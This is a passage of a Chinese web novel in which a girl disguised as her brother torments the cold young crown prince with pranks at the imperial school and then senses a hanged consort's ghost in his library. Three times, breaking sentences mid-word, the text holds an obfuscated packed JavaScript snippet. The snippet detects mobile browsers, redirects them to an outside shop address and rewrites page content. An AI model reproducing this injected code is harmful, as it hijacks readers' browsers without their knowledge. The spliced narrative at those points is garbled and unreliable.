东宫的皇家学堂中聚齐了九宸国七大世家的长子,分别是清江段氏段无言、傅陵绪氏绪飞尘、东莱荀氏荀韫、京兆戚氏戚世才、琅琊姜氏姜景和、武阳尤氏尤远生,以及顶替了乔天飞的淮南乔氏乔天璇。 其余六大世家的长子都生得各有各的好看,有的俊,有的俏。大家的年纪都在六岁到十岁之间。 皇家学堂中有四横排座位,每一横排有两张书案,中间是过道。八岁的太子陈渊龙坐在皇家学堂中最前排的位置,与太子同排的是京兆戚氏戚世才。后面三排则是其余六大世家长子的座位。 至于为何让京兆戚氏戚世才与太子同排,自然是因为京兆戚氏与皇族最为亲近。 说来乔天璇第一次进宫时便被皇宫的华丽宏伟给震撼到了。 她本以为乔府就已经足够华丽了,没想到天外有天,皇宫简直比乔府要华丽百倍! 但她此时的身份是世家长子,便不能给人感觉她是个从村里来的人。 好在进宫之前乔天璇已经在乔府住了一个月,她清楚世家之子就该有世家之子的样子,不得跟个没见过世面的人一样,她还是能克制得住想要左顾右盼的想法的。 大不了用余光偷偷瞟。 到了皇家学堂之后,乔天璇见其余的六大世家长子已经来了五位,还剩京兆戚氏的长子没来。 看着端坐在书案前的各个世家长子,唯一女扮男装的乔天璇不免有些心虚。 不过六岁小女孩扮起男装从外表看起来与六岁小男孩的差异本就不大,声色也差不多。更何况乔天璇在乔悦儿的悉心指导下已经对女扮男装炉火纯青,这段时间也习惯了别人称呼她为“少爷”或“公子”,学的礼仪亦是男子的礼仪,只要不出什么差错或意外,基本上不会露馅儿。 不一会儿,京兆戚氏长子戚世才姗姗来迟。 这个本就身处皇城的世家比起别处的世家排场要大上不少,从皇家学堂外传来的脚步声尤其响,一听就知道人多得很。 戚世才虽然是个八岁小儿,但他却给人一种已经四十有八了的中年男人的感觉。即便他生得很俏,可他的气质十分老练,一只手中盘着两个核桃,双手手腕上都戴着木制手串,项颈挂着垂于胸前金闪闪的璎珞,双眼微眯着,嘴角天生上扬,看人的眼神中充满了打量与审视。 他的身旁簇拥着五个丫鬟,丫鬟后面跟着一大群护卫。场面像极了一只小鸡仔领着一个鸡群,略显荒诞。 “到了啊?好。”戚世才这会儿已经走到了他的书案前坐了下来。他就连坐下的姿势都透着一股中年男人的感觉,看得坐在第三排的乔天璇不由得眉头一紧。 “啧……”与乔天璇坐在同一排的段无言忍不住看着戚世才发出了意味不明的咋舌声。 乔天璇的目光落到了段无言的身上,见段无言看戚世才的眼神中除了嫌弃就是厌烦。 段无言七岁,个头却没有六岁的乔天璇高。他生得清秀,一双眼睛圆溜溜的,两颊肉乎乎的,身子略显消瘦。 戚世才继续在位置上盘着他的两个核桃。他另一只没盘核桃的空手轻轻一挥,五个丫鬟和那一大群护卫便低着头退出了皇家学堂的门。 后面三排的人全都看向了戚世才。 戚世才大概是感受到了大家目光的炽热,他转头一望,对着身后的六人笑道:“嘿!初见初见,我叫戚世才,不知诸位的尊姓大名啊?” 方才对戚世才咋舌的段无言没声好气道:“清江段氏段无言。” 乔天璇坐在段无言身旁,她下意识接着段无言的话道:“淮南乔氏乔天飞。” 随后,坐在乔天璇前面的世家长子道:“傅陵绪氏绪飞尘。” 接着,坐在段无言前面的世家长子道:“东莱荀氏荀韫。” 紧接着,坐在段无言后面的世家长子道:“武阳尤氏尤远生。” 最后,坐在乔天璇后面的世家长子道:“琅琊姜氏姜景和。” “各位幸会啊,接下来的五年就拜托各位的关照了。”戚世才点了点头,把脸转了回去。 他这一转,太子陈渊龙便走了进来。 顿时,乔天璇眼前一亮。 这位太子虽只有八岁,但他的一对凤眸漆黑,如同深不见底的深潭,给人感觉他似是藏了很多心事。他相貌清冷,一双剑眉,肤色白皙如玉,身着白底金纹的太子服饰,整个人看起来一尘不染,寒冰冷霜。 “哎哟,太子殿下,您可算来了嘿。”戚世才赶忙起身。 他在面对陈渊龙时一直都是笑脸。 而乔天璇一眼就看出来了他那是假笑。 乔天璇和其余世家长子们也连忙起身问好:“太子殿下。” “嗯。”陈渊龙淡淡地应了一句,他扫了一圈皇家学堂中的所有世家长子,径直走到了自己的书案前坐了下来,似乎对谁都不感兴趣,只想着等会儿的课会教些什么。 大家在见到陈渊龙坐下之后才重新坐下。 乔天璇与陈渊龙隔了一横排,而乔天璇这一竖排的最前面坐着的是戚世才,戚世才旁边的位置才是陈渊龙,那就意味着乔天璇要是想看陈渊龙,她只能斜着看到陈渊龙的头发和他的其中一只耳朵。 不知为何,陈渊龙的到来让皇家学堂似乎被笼罩上了一层无形的压力。 一直到给大家上课的先生来了,这种压力都没有消失,反而变得更大了。 但对于乔天璇来说,她并不需要想办法表现得太好。相反,她要表现得让太子陈渊龙看不上她。 因此,乔天璇整个人比起其余的世家长子要轻松很多,这层笼罩在皇家学堂中的压力对乔天璇来说并不算什么值得紧张害怕的东西。 而乔天璇这一放松,她的脑子里就容易天马行空胡思乱想了。 一想到在座的各个世家长子都生得很好看,乔天璇就忍不住想象若是来给太子伴读的人是乔天飞,那不知该闹出多大的笑话。 毕竟自己这个废物弟弟是真的很废,再加上他母亲萧芯荷对他的溺爱,简直已经让乔天飞变成一具不会思考的烂肉了。 想着想着,乔天璇忍不住笑出了声。 “乔天飞!不要走神!” 皇家学堂的台上传来先生带着警告意味的声音。 “在!好!”乔天璇立即回应。 现在她顶着乔天飞的身份在皇家学堂中给太子伴读,得把“乔天飞”三字当成自己的姓名来用。 先生道:“乔天飞,你来回答一下这个问题,假设你身处一个闹饥荒的村子,朝廷的赈灾粮要明日才能送来。此时,你的手中有一个鸡蛋,你是会选择把唯一的鸡蛋分给全村人吃,还是会选择给把唯一的鸡蛋给村里的其中一个人吃,只救一人?” 乔天璇站起身来,毫不犹豫道:“当然是分给全村人吃啊。” 先生怒道:“荒唐!一个鸡蛋怎够全村人分?再说了,若是要分给全村人,那谁吃蛋白?谁吃蛋黄?” 乔天璇道:“简单,把鸡蛋蒸成蒸蛋,这样蛋白和蛋黄就混合在一起了,然后再让全村人都来挖一勺吃不就行了?” 先生一愣,但立马质疑道:“你只有一个鸡蛋,一个鸡蛋能够村里多少人分?” 乔天璇道:“先生,你还没说这个闹饥荒的村里有多少人呢。如果说朝廷的赈灾粮要明日才能送来,可现在整个村子却只剩下我手中的唯一一个鸡蛋了,那就意味着这个村子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025590|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕早就饿死很多人了,已经到了穷途末路的地步。既然是穷途末路,倒不如赌一把?而且万一人都已经被饿死得差不多了呢?这样的话,鸡蛋不就够分了嘛!” “你!你、你……”先生再也无法克制自己的怒火,怒得眉毛都要飞起来了。 “哎哟这说法……哈哈哈有才哈哈哈哈哈……”戚世才为难地笑了起来。 “乔天飞。”陈渊龙的声音冷冷地响起。 乔天璇的目光立即从先生的身上移到了陈渊龙的身上,见陈渊龙此刻转过了头,正冷着脸看着自己。 好机会! 乔天璇之前还琢磨过该如何让陈渊龙看不上自己,现在不就是现成的机会嘛?! 她赶紧看向了先生,兴奋道:“先生!你方才有提到‘只救一人’,那我自己偷偷把鸡蛋给吃了,我自救也是救了一人呀?而且这个关于‘分鸡蛋还是不分鸡蛋’的问题不就不用考虑了?哎对了,有一句话叫什么来着……哦!宁我负天下人,不让天下人负我!” 这句话是乔天璇五岁那会儿偷偷从被她所救的那个修士口中听来的。 乔天璇记得很清楚,当时那个浑身是伤,在乔天璇的“秘密山洞”里养伤的修士说这句话时正满脸不甘地捏着一颗不知是谁的金丹,然后就一口将其吞了下去。 霎时间,先生的脸色变得铁青,他大怒道:“乔天飞!人言否?!” 乔天璇无所谓道:“当然是人言啦!要不然刚刚说那句话的我是什么?是妖怪吗?还是鬼?是仙?是神?” “闭嘴!!!”先生拿着书的手都在微微颤抖。 乔天璇分了点目光瞧正在看着自己的陈渊龙。 只见陈渊龙那双漆黑的眸子中充满了不可置信和惊怒。 好,很好。乔天璇打算让自己再过分一些,好让陈渊龙更加看不上自己这个无药可救的人。 她歪了歪头,继续道:“先生,你看我是像人,还是像仙啊?” “……” 乔天璇明显感觉到这会儿在场的所有世家长子都在憋笑了。 先生怒目圆睁,冲着乔天璇大吼:“乔天飞,滚出去罚站反省!” “好嘞!”乔天璇连忙迈着轻快的步子出了去。 在经过陈渊龙身旁时,乔天璇为了恶心他一把,故意对着陈渊龙做了个飞吻的动作。 顿时,皇家学堂中的世家长子们再也憋不住了,当即哄堂大笑,嘻嘻哈哈。 “噤声!噤声!噤声!” 先生气愤又无奈地大吼着,将手中的书“啪”一声拍在了他的桌案上。 乔天璇心情愉悦地来到了皇家学堂外的走廊站着,看着眼前皇家学堂外的亭台、假山、池水、拱桥,畅快地呼吸着。 也不知陈渊龙现在的表情如何了,想来他肯定恶心极了我吧?这样最好了,他越恶心我越好! 正想着,乔天璇余光瞟见走廊边上有一个在缓缓来回移动着的小东西。 她定睛一看,发现那是一只大拇指指甲盖大的黑色小蜘蛛。 这只黑色小蜘蛛面朝着地,底朝着天,四仰八叉,一直在抽搐挣扎,似乎快要不行了。 乔天璇现在无聊得很,便从怀中取出一张灵符,用灵力驱使灵符覆到了黑色小蜘蛛的身上,小声道:“安息吧。” 片刻后,灵符就裹着已经一动不动了的黑色小蜘蛛飘回到了乔天璇的手中。 “人生为己,天经地义。人不为己,天诛地灭。先天下之忧而忧,后天下之乐而乐[1]。”皇家学堂中忽然传出了陈渊龙回答先生问题的声音。 乔天璇听得出来陈渊龙的声音是透过皇家学堂的窗户故意对着走廊上被罚站的自己说的,就像是在反驳自己刚刚所说的话一样。 切,我偏不听。 乔天璇低头看着手中裹着黑色死蜘蛛的灵符,脑海里突然冒出了一个恶心陈渊龙的妙计。 16. 太子伴读(二) 按照乔万山的意思,乔天璇尽量让自己表现得顽劣不堪,好令陈渊龙对自己有个不好的印象,让他在五年后不选自己当他的终身伴读。 只是乔天璇自从上次回答完了先生提出的关于“饥荒与鸡蛋”的问题之后,陈渊龙看乔天璇的眼神就令乔天璇感到非常不爽。那眼神冷如冰窖,带着一丝似是对犯人的审视和几分令人无法忽视的“此人该死”之意。 要是从前有人敢用这样的眼神看乔天璇,她早就想办法让对方付出应有的代价了。问题是现在用这种眼神看自己的人是太子,她打不得骂不得辱不得,只能想点别出心裁的方法来他感到不悦。 于是,每当下课之后,乔天璇便和世家长子们跑去皇家学堂外面一起玩耍,只留陈渊龙一人待在皇家学堂中。 也不知是为何,陈渊龙冷漠得很,他与世家长子们说话的次数少之又少,更别说和世家长子们一起玩耍了。 玩耍中,乔天璇暗中观察着各个世家长子都有些什么习惯性的小动作。 显而易见,戚世才仍旧喜欢盘他手里的那两颗核桃。 而与乔天璇同排的段无言时不时就喜欢往上蹦跶两下子。 段无言是所有人中最瘦最矮的,如此一来便显得他像个猴子一样,也不知他自己晓不晓得。 绪飞尘在所有人中年纪最大,身高也最高。他除了和太子陈渊龙说话时会主动弯腰,在和别的世家长子说话时都喜欢双手交叉抱着自己的双臂,居高临下看人。 和绪飞尘同排,且坐在太子陈渊龙后面的旬韫喜欢用手转他的折扇。折扇无论是展开还是合上,荀韫都转得很熟练。他动不动就会转上那么一下,像是在故意显摆他的折扇和他转折扇的手法一样。 坐在乔天璇身后的姜景和喜欢打响指,每当他说完一句在他看来重要的话时,他就会打一个响亮的响指。比方他在说完一句“我觉得如此甚好。”之后,就会“啪”一声打出一个响亮的响指。 与姜景和同坐第四排的尤远生则特别喜欢用手转圈甩他腰间玉佩缀着的红穗子,一甩起来就没完没了,甩的速度也会越来越快。 乔天璇从前在山村中和小伙伴一起玩耍时就发现小男孩尤其喜欢被夸,哪怕他只是踩死了一只稍微大些的蚂蚁,夸他勇敢,他就能高兴到得意忘形。而只要被不停地夸,他就会一直高兴,并逐渐和夸他的人越玩越好。 由此,每当这些世家长子们习惯性做小动作时,乔天璇都会有意无意地夸赞他们。比如绪飞尘有时候转扇子,乔天璇就会由话题引出最后一句:“哎,说话你转扇子的手法真不赖,厉害厉害。” 以此类推,其余人也可以这般大差不差夸上一句,把句子中的“扇子”换成“穗子”就又成了一句可以用来夸尤远生的话。 很快,乔天璇便和世家长子们的关系都处得不错了。 她开始故意带着世家长子们绕到陈渊龙所坐位置的窗外边嘻嘻哈哈玩闹,让大家的欢声笑语强烈地刺激着此时还端坐在安静的皇家学堂中的陈渊龙。 这样的事情次数多了之后,出于好奇,陈渊龙总会有向窗外投来目光的时候。 每当感受到陈渊龙的目光时,乔天璇就会抓紧时机对着陈渊龙睁大她本就水灵溜圆的眼睛装可爱的同时冲着陈渊龙娇俏一笑。 而当看到陈渊龙被自己那一笑惊得神情巨震,平日里冰冷的双眸被迫涌上不知所措且嫌恶害怕的眼神时,乔天璇的目的就达到了。 观上位者惊惧,看高冷者无措,本就是乔天璇喜爱的事情。更何况这件事情发生在太子陈渊龙的身上,那就更令乔天璇心情愉悦了。 但遗憾的是这种情况多了之后,陈渊龙就不会被大家的玩闹声轻易吸引到了。 一次课间,乔天璇照常在陈渊龙所坐位置的窗外边与众世家长子玩闹。 皇家学堂外种着几棵文冠花树,风大时总会吹下一两朵白花瓣粉红芯金黄蕊的文冠花。 一堂课过去后,往往落花满地。 此情此景让乔天璇来了兴致。 她拾起地上的一朵文冠花,瞟了一眼窗户,见这会儿还在书案前认真看书的陈渊龙对窗外边众人的玩闹声置若罔闻,忽然就有了一个点子,当即转头对世家长子们道:“要不我们来玩击鼓传花吧!我们没鼓,就让一个人用跺脚声来代替鼓声。花要是传到谁手里时跺脚声停了,谁就说自己的一个秘密!” 世家长子们本就与乔天璇关系不错,乔天璇也跟他们打成一片,他们自然全都点头答应道:“好!” 乔天璇道:“为保公平起见,跺脚的那个人跺脚时要背对着所有人。” 戚世才懒洋洋道:“那我便来当那个跺脚的人吧。” “好。”所有人都没有意见。 游戏立即开始。 背对着众人的戚世才边盘着核桃边不停地跺脚,其余人则围成一圈,从乔天璇开始传递文冠花。 毫无疑问,戚世才一阵又一阵连续不断的跺脚声对看书的陈渊龙造成了不小的影响。 然而,真正烦到了陈渊龙的还得是大家亲口说的秘密。 在戚世才第一回停下跺脚声时,文冠花传到了段无言手中。 段无言犹犹豫豫道:“我五岁时在一个琉璃瓶子中养过一只毛毛虫,结果毛毛虫被我给养死了。然后……我在家里的厨娘做粉蒸构树穗时偷偷把毛毛虫放了进去。” “咦……”乔天璇和其余世家长子们全都由于恶心不由得皱起了五官。 段无言对大家的反应来了劲儿,说得愈发绘声绘色:“结果由于毛毛虫和构树穗长得实在是太像了,都是绿绿蠕糯的样子,我爹一不小心吃到了那条毛毛虫,当即就被恶心得吐了!直到现在,我爹还是不知道那条毛毛虫其实是我放的!” 说完,段无言欢喜地蹦跶了两下。 “啊啊啊啊啊好恶心啊!!!” “呸呸呸呕……呕……” 众人哗然,大呼恶心。 “好了好了,我们继续击鼓传花!”乔天璇瞅见窗边的陈渊龙脸色臭了不少,心中感到一阵暗爽。 于是,戚世才的跺脚声又响了起来。 这回,戚世才的跺脚声停下来时文冠花被传到了荀韫手中。 荀韫兴奋道:“我四岁时把一只被我拍扁了的苍蝇扔到了我爹的墨里面,然后我爹引以为傲的一副字里某个字的一点中就平铺着一只扁了的苍蝇。那只苍蝇已经被墨染成纯黑色的了,到现在我爹还看不出来呢!” 说到后面,荀韫情不自禁转了转手中的折扇。 绪飞尘双手交叉抱着自己的双臂,喃喃道:“你这个也挺恶心的。” 段无言蹦跶着反驳:“我的比这个恶心!” “是是是,你的最恶心。”绪飞尘大概是回想起了段无言方才所说的毛毛虫事件,忍不住又“呕”了一声。 乔天璇不忘往窗户瞅陈渊龙。 只见陈渊龙虽然还保持着看书的姿势,但他已经被恶心得闭上了双眼。 戚世才的跺脚声继续响起。 第三回,戚世才的跺脚声停下来时文冠花被传到了绪飞尘手中。 绪飞尘“咳咳”咳嗽两声,依然双手抱着自己的双臂。他的目光落在别处,漫不经心道:“我之前养过一只白文鸟,有一次我在开笼子伸手进去摸它时不小心让它飞了。后来家里人问起,我就说它被家里的猫给吃了。” “你这个还好,不恶心,就是冤枉猫了。” 说罢,姜景和打了个响指。 “不就是只猫嘛,猫又不会说人话,冤枉了就冤枉了,有什么大不了的。”绪飞尘无所谓地耸了耸肩。 尤远生甩了甩腰间玉佩缀着的红穗子,笑道:“喵喵喵喵喵!” “喂!”绪飞尘居高临下看向了尤远生。 “喵喵喵喵喵!”尤远生手里的红穗子甩得更欢。 “哈哈哈哈哈哈哈……” 尤远生学猫叫学得并不像,更像是在乱喊,众人都笑了起来。 乔天璇往窗户瞅了一眼陈渊龙,见陈渊龙已经睁开了双眼。他眼神烦闷地盯着手中的书,脸色难看无比。 戚世才的跺脚声再一次响起。 第四回,戚世才的跺脚声停下来时文冠花被传到了乔天璇手中。 “当啷当啷当啷当啷当啷……” 好巧不巧,上课的铃声与此同时突然被敲响了。 乔天璇下意识把手中的文冠花猛地朝窗户处抛到了陈渊龙的书案上。 其实她在游戏开始之前就已经想这么干了。 文冠花一下子落到了陈渊龙正在看着的书上。 随后,这朵花从书上滚落,在陈渊龙的书案上弹了一下,跌在了陈渊龙衣服下摆的裆布上。 顿时,陈渊龙猛地转头望向了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025591|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没来得及收回抛花动作的乔天璇。 他的脸色差到了极点,眼神终于不再冰冷,而是充满了怒火。 乔天璇心中一乐,赶忙冲着陈渊龙睁大眼睛娇俏一笑。 众世家长子连忙往皇家学堂中赶去,准备上下一堂课,只剩下乔天璇还在原地。 陈渊龙的脸都颤抖了起来,他气得从牙缝中蹦出了七个字:“我没有那种喜好!” 哎?什么喜好? 乔天璇有点丈二和尚摸不着头脑。 不过乔天璇恶心陈渊龙的目的已经达到,她便不再看陈渊龙,而是赶忙随着大家一起赶回皇家学堂中去了。 乔天璇记得很清楚,那是她第二次见到坐在第一排的陈渊龙为了看坐在后面第三排的她,他朝自己转了头。 即便陈渊龙那张脸写满了震惊和愤怒,但到目前为止,陈渊龙在皇家学堂的书案前坐着时也就只为她转过头。 不错不错,这样我在他的心中就更加顽劣了。 乔天璇心中偷乐。 马上就要上下一堂课了,陈渊龙发作不得,只得转回头闷着气上课。 然而,上课时的乔天璇可不会闲着。 她仗着自己坐在第三排,台上讲课的先生约莫不会注意到她,便在手底下偷偷搞起了小手工。 忽然,乔天璇发现了一个从后面滚到了自己身旁的小纸团。 她悄悄捡起纸团打开来一看,见上面写着歪歪扭扭的几个字:“手里在搞什么东西?” 乔天璇拿了一张新的纸小心翼翼写下了几个更加歪七八扭的字:“下课给你们看,待传阅。” 她慢慢地将纸揉成一团,把纸团放到地上往后一推,让其从前往后滚到了后面姜景和的脚边。 大家再怎么说也只是六岁到十岁之间的小孩子,即便由于身份,再加上在皇家学堂中学了不少日子,比起平常人家的孩子要会写会认许多字。但是年纪摆在这儿,写的字自然不比大人的好,甚至可以说是非常的丑。 不过这并不重要,大家互相之间看得懂就行。 很快,乔天璇的纸团就被所有的世家长子传遍了。 当然,大家都十分默契,并没有把纸团传给陈渊龙。 下课后,乔天璇“嗖”一声冲了出门,依旧是绕到了陈渊龙所坐位置的窗外边。 众世家长子全都好奇地跟着乔天璇跑到了她所在的地方。 在看到乔天璇手中展示的手工之后,他们仿佛大开眼界一般惊叹了起来。 “你到底是怎么做到的?真有才啊!”姜景和赞叹着,打了个特别响亮的响指。 段无言蹦跶道:“你简直就是个手工天才!” “有意思有意思,太有意思了。”戚世才盘着核桃,饶有兴致地看着乔天璇手里的东西。 大概是想到了上一个课间乔天璇干的事情,陈渊龙居然不再待在书案前,而是出了皇家学堂的门,来到了大家聚在一起玩闹的地方。 只是他的手中仍然不忘拿着一本书。 “哎?太子殿下?你也来瞧瞧嘛!”段无言蹦跶着招呼站在他身后不远处的陈渊龙。 “是啊!乔天飞的手工好厉害!”姜景和对着陈渊龙打了个响指。 陈渊龙无论再怎么冷漠,他现在也不过是个八岁小男孩,按道理来说正是好奇贪玩的年纪。 他有些动摇了,朝前迈开了步子,小心翼翼地走近了去,一直走到了众人聚在一起的地方。 “看!!!” 乔天璇蓄谋已久,一把打开了手中手工的纸翻盖。 “啊呀!!!”陈渊龙当即被吓得惊叫出声,连连疾步后退,手中的书都被他给甩飞了出去。 原来乔天璇手中的是一个会弹出蜘蛛尸体的手工纸盒子! 这小巧的纸盒子有一个翻盖纸开口,内里粘着一条被反复对折后再经挤压就有了弹簧特性的纸条。只要纸翻盖一被打开,一直被纸翻盖按压在里的弹簧纸条就会即刻弹出,而这纸条的最上面粘着一只乔天璇之前被先生在走廊罚站时她随手让其安息了的黑色死蜘蛛。 乔天璇歪头看着陈渊龙,嬉笑道:“太子殿下?惊不惊喜?意不意外?开不开心?喜不喜欢?” “乔天飞……顽劣不堪!”陈渊龙被吓得脸色煞白。 他着急忙慌捡起方才被他甩飞在地的书,转身步履匆匆头也不回地跑远了。 17. 太子伴读(三) 先生在看到陈渊龙被吓到了之后赶忙询问陈渊龙到底发生了何事。 陈渊龙自然一五一十地跟先生说了乔天璇在手工纸盒子内藏死蜘蛛吓他的事情。 如此一来,乔天璇当即获得了长达半年的惩罚。 她被安排在下学后去太子的书阁洒扫,以此来作为对太子的赔礼道歉。 太子课后本就常待书阁中,负责监看乔天璇的事情自然也被他接了去。 望着眼前偌大的书阁,乔天璇手拿簸箕和条帚,无奈地叹了一口气。 一不小心玩儿大了,当真是自作自受。 早知道就不要做得太过分了。 乔天璇熟练地洒扫着,情不自禁回想起了自己在山村那会儿帮母亲打扫客栈的日子。 不多时,乔天璇就已经手脚麻利地洒扫干净了书阁第一层的一大片地方。 随后,书阁第二层和第三层也被乔天璇分别仔细洒扫了一番。 最后,乔天璇回到第一层,来到了她打算留到收尾时再打扫的一处落灰重灾区,面无表情地挥起了笤帚。 唉,真是的,跟太子当同窗当久了,不觉然间就忽视了自己若是离开了皇家学堂,撇开跟太子是同窗的身份,她跟太子的阶级地位简直就是天差地别。 山村野花,父亲是这样称呼自己的。 “哈哈。”乔天璇自嘲般笑着,笑得干干巴巴。 “你笑什么?” 身后传来陈渊龙的声音。 乔天璇道:“没什么。” 陈渊龙端坐在书阁的一张书案前,他放下手中的书,看了片刻乔天璇洒扫的样子,道:“你在家里经常干活?” “当然干……”乔天璇突然想起了自己现在的身份是乔家长子,而不是那个山村野花,当即改口道:“当然干得不多啊,我只是喜欢亲力亲为,就跟家仆们学着一起洒扫过。” 陈渊龙道:“喜欢亲力亲为?难怪手工好。” 乔天璇感觉陈渊龙的目光一直落在自己的手上,不由得加快了洒扫的动作,让手上干活的速度快了许多。 “对了,书阁平时除了你之外还有别的人会来吗?”乔天璇洒扫时明显感觉到太子的书阁中有许多地方像是已经好几年都没人来踏足过一般,落灰严重得可怕。 陈渊龙道:“书阁除了我,不会有谁来。” 闻言,乔天璇回想起自己方才在走进书阁之前看到外面的院子格外凄清冷寂,连院内种着的几棵树都只剩下枯败的枝干了,就好像已经很久都没有人来打理过了一样。 “是因为皇上规定了这里只属于你?”乔天璇好奇。 陈渊龙沉默了片刻,道:“因为这里之前死过人。” “原来如此,死的是谁?”乔天璇恍然大悟。 陈渊龙惊诧道:“你不害怕?” “这有什么好怕的?太子殿下不也不怕吗?”乔天璇并没有感觉到此地有任何被缚于此的灵,想来已死之人的灵魂早就离开此地了。当然,也有可能是因为自己现在的灵力还不够强。若已死之人的灵魂不主动现身让她感知,她便感知不到已死之人的灵魂。 对此,乔天璇心底略有不安,但她表面上依旧跟个没事人一样。 陈渊龙神色微微一愣。 乔天璇继续埋头洒扫。 她得赶在天黑之前把落了灰的地方都清扫干净了,好让陈渊龙来检查时挑不出毛病,赶紧放她走。 良久,陈渊龙眼底闪过一丝淡淡的悲伤,道:“死的是一个生前待我不错的妃子。” “逝者已矣,生者如斯。”乔天璇念叨着,这会儿她已经把落灰重灾区给差不多弄干净了。 也难怪皇宫中独独陈渊龙不怕这里了,原来在这里死去的人生前待他不错,他或许很想念那个待他不错却已亡故的人吧? 想到这里,乔天璇不由得忆起了乔府中的姑姐乔悦儿和护卫凌风。这两个人都待自己不错,简直就是自己在乔府的烦闷生活中的两道光,乔天璇心觉自己永远都不会忘了他们。 “……哎?先生故意让我在这儿洒扫,是不是因为我的死蜘蛛吓到了你,先生想让我在此地撞鬼,让我也被吓到啊?”乔天璇后知后觉。 陈渊龙平静道:“但你不怕。” 乔天璇故作无所谓道:“又没有见到尸体,我怕什么呀?” “嗯。”陈渊龙继续看起了书,不再理会乔天璇。 乔天璇觉得自己猜透了先生的想法,心中略感不悦。 这样的先生配得上为人师表?!若被他罚的人不是自己这个灵师,而是一个普通人,万一真的被吓破胆了该怎么办? 乔天璇心中越想越气。 居然让她在这死过人的地方洒扫半年时间?! 若是可以,她真恨不得现在就让罚他的先生被关在这死过人的书阁中,也关他半年时间! 乔天璇满眼惆怅地望向了窗外,见此刻傍晚天边的彩霞十分漂亮,宛如铺满了苍芎的大块彩色绸缎,好似上方有仙宫,与自己现在身处的这处死气沉沉的书阁简直就是两个世界。 死去的妃子……死去的妃子……死去的妃子…… 陈渊龙方才所说的话就像一把狗尾巴草,挠得乔天璇心中直痒痒。 乔天璇莫名感到后背泛起一阵凉意,忍不住打了个哆嗦。 要说真的不怕,那是骗人的。 乔天璇一开始的略有不安在天色越来越暗的情况下变得越来越强烈。 毕竟乔天璇并不清楚此地的死灵生前是个什么样的妃子。 也许她只在陈渊龙的眼中是个待他好的好人而已,这就跟在乔悦儿的眼中萧芯荷是个待她不错的好嫂子一样。可在乔天璇的眼中,萧芯荷分明就是个可怕的麻烦!她待自己尤其不善,甚至还对自己有杀心,恨不得把自己往死里整! 乔天璇心中越想越乱,她见这会儿落灰重灾区已经被自己给洒扫干净了,便赶紧跑到了一个书柜后面,从怀里取出一张灵符贴在了自己的手臂上,并将灵力集中到并成剑指的食指和中指上,让两指指头轻轻点于灵符上。 这是那位被乔天璇所救的修士教给她的一种通过灵符来感知死灵的方法。 在这个方法中,灵符就好比杠杆。即便灵师的灵力不多,但只要用了灵符,灵师的灵力就会被灵符暂时放大数倍。 一般情况下,灵师所用的灵符越多,灵符的品阶越高,灵师的灵力就会被放大得越多,交战起来实力也会变得更强。 果然,灵力暂时变强后的乔天璇一下子就探查到了书阁中的确藏着一只死灵。 乔天璇闭上双眼,立马就感受到了这只死灵此刻正在书阁最顶层低头注视着自己。 那是一个一袭绿衣,披头散发的妃子。 她被一条挂在房梁上的白绫勒着脖子,舌头伸出嘴巴拉得老长,双眼泛白,没有丝毫血色。 霎时间,乔天璇猛地睁开了双眼,猛烈喘息平复着心情。 书阁一共有三层,现在乔天璇和陈渊龙在第一层,死灵暂时在第三层。 就在不久之前,乔天璇才从第三层洒扫完下来。 现在想想当真后怕。 自己居然就在一个死于上吊的死灵的注视下若无其事地洒扫,当真是不知者无畏。 乔天璇深呼吸一口气,重新走上了第三层。 这只死灵虽然死相看起来可怕了些,但乔天璇是灵师,从前在山里就见过不少死灵,她明白现在要是不抓紧机会度化了这只死灵,日后她可能都没法在此地洒扫得安生了。 有了灵符的加持,乔天璇这一次一上到三层就看到了那只悬梁自尽的死灵,也听到了那只死灵对着自己的喃喃声。 “好久都没有人来这里洒扫过了……好久都没有人来这里洒扫过了……好久都没有人来这里洒扫过了……” 乔天璇拿着簸箕掩护着自己用符布阵的动作,假装在清理方才还没有清理干净的地方。 但其实第三层早就已经被乔天璇给清理得干干净净。 “你看得到我?你是不是看得到我?”死灵忽然向乔天璇发问。 乔天璇心中一凉。 但她还是极力让自己看起来像是什么都没有听到似的。 死灵琢磨道:“不对啊,你应该能看得到我的……你应该能看得到我的……你应该能看得到我的,我感觉到你身上……有灵。” 乔天璇依旧不理会死灵。 她清楚死灵所指的灵是她身上的灵力和灵符。 死灵道:“有灵的人,多谢你来把这里洒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025592|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫干净,你听得到吗?听得到吗?听得到吗?听得到吗?听得到吗?听得到吗……” 乔天璇仍然不理会死灵。 她猜不透这只死灵的想法,即便这只死灵是在感谢她,似乎对自己也是友好的,但还是得提高警惕才行。 